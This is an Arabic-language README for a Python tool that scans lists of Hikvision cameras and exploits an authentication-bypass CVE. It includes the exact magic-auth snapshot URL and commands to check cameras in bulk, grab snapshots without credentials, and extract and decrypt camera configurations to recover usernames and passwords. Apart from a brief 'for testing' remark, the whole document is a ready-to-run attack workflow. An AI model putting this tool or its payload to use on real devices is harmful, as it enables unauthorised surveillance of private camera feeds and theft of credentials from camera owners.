
HikVision Auth Bypass CVE، الأداة قادرة على استخراج بيانات الاعتماد، والتقاط لقطات شاشة بناءً على الكوكيز السحرية (magic cookie) أو بيانات الاعتماد المقدَّمة.
أداة مستقلة لسرد كاميرات Hikvision من ملف والتقاط لقطة من كل كاميرا باستخدام بيانات اعتماد صالحة (مصادقة HTTP Basic أو Digest) أو تجاوز مصادقة CVE. مصممة للعمل على مضيف آخر بغرض الاختبار.
host أو host:port).--save-snapshot للأجهزة المتأثرة.--exploit لاستخدام تجاوز CVE بدون بيانات اعتماد).--merge لإنشاء صورة مجمعة واحدة. المتطلبات: requests، Pillow (لـ --merge).requestspip install -r requirements.txt
أنشئ ملفًا نصيًا يحتوي كاميرا واحدة في كل سطر. الأسطر التي تبدأ بـ # يتم تجاهلها.
# Example cameras.txt
192.168.1.100
192.168.1.101:80
nvr.local:8080
طباعة الكاميرات المقروءة من الملف (لا حاجة لبيانات اعتماد).
python hikvision_snapshots.py cameras.txt list
فحص إمكانية الوصول اختياري (HTTP GET لكل مضيف):
python hikvision_snapshots.py cameras.txt list -v
اختبار كل كاميرا بحثًا عن CVE تجاوز مصادقة اللقطات في Hikvision. لا تتطلب أي بيانات اعتماد.
python hikvision_snapshots.py cameras.txt check
حفظ اللقطات للكاميرات المتأثرة فقط:
python hikvision_snapshots.py cameras.txt check --save-snapshot -o ./vuln_snapshots
الخيارات: --timeout، --workers، -o (لـ --save-snapshot).
استخراج بيانات الاعتماد من كل كاميرا عبر CVE (مصادقة سحرية لجلب قائمة المستخدمين وملف الإعدادات، ثم فك تشفير الإعدادات). يتطلب OpenSSL على المضيف. لا حاجة لبيانات اعتماد للتشغيل.
python hikvision_snapshots.py cameras.txt credentials
الخيارات: --timeout، --workers.
تحقق من أن بيانات اعتمادك تعمل على كل كاميرا (يستخدم نفس نقاط نهاية اللقطات؛ لا يحفظ الصور).
python hikvision_snapshots.py cameras.txt auth-check -u admin -p YourPassword
الخيارات: --timeout، --workers، --digest (نفس خيارات اللقطة).
التقاط لقطة واحدة لكل كاميرا وحفظها بصيغة JPEG. استخدم إما بيانات اعتماد صالحة أو --exploit (تجاوز مصادقة CVE بدون بيانات اعتماد).
# With credentials
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword
# With CVE exploit (no credentials)
python hikvision_snapshots.py cameras.txt snapshot --exploit
snapshots/ افتراضيًا (استخدم -o للتغيير).host أو host_port (مثل 192_168_1_100.jpg، nvr_local_8080.jpg).الخيارات:
عند استخدام --merge، بعد حفظ كل لقطة تقوم الأداة بإنشاء صورة شبكية واحدة (overview.jpg) في مجلد الإخراج تحتوي على خلية واحدة لكل كاميرا مع تسمية. يتطلب Pillow (pip install Pillow).
مثال مع مجلد إخراج مخصص ومصادقة Digest:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p secret -o ./images --digest --timeout 20
مثال مع صورة مجمعة:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword --merge
# or with exploit (no creds):
python hikvision_snapshots.py cameras.txt snapshot --exploit --merge -o ./out
لقطة موثقة (مع بيانات الاعتماد): يحاول السكربت بالترتيب – /ISAPI/Streaming/channels/1/picture، /ISAPI/Streaming/channels/101/picture، /onvif-http/snapshot.
CVE (check / --exploit): /onvif-http/snapshot?auth=YWRtaW46MTEK (تجاوز مصادقة سحري بدون بيانات اعتماد).
hikvision_snapshots.py وrequirements.txt وملف قائمة الكاميرات إلى المضيف.pip install -r requirements.txtlist للتحقق من الملف؛ واستخدم check لفحص CVE، أو auth-check للتحقق من بيانات الاعتماد، أو snapshot (مع -u/-p أو --exploit).تأكد من أن المضيف لديه وصول شبكي إلى جميع عناوين IP ومنافذ الكاميرات.
| الخيار | الوصف | الافتراضي |
|---|
-u, --username | اسم مستخدم الكاميرا | مطلوب ما لم يُستخدم --exploit |
-p, --password | كلمة مرور الكاميرا | مطلوب ما لم يُستخدم --exploit |
--exploit | استخدام تجاوز المصادقة السحرية CVE (بدون بيانات اعتماد) | off |
-o, --output-dir | مجلد حفظ صور اللقطات | snapshots |
--timeout | مهلة HTTP بالثواني | 15 |
--workers | عدد طلبات اللقطات المتزامنة | 10 |
--digest | استخدام مصادقة HTTP Digest بدلاً من Basic | off |
--merge | دمج جميع اللقطات في صورة مجمعة واحدة | off |
--merge-columns | أعمدة الشبكة للدمج (الافتراضي: auto) | auto |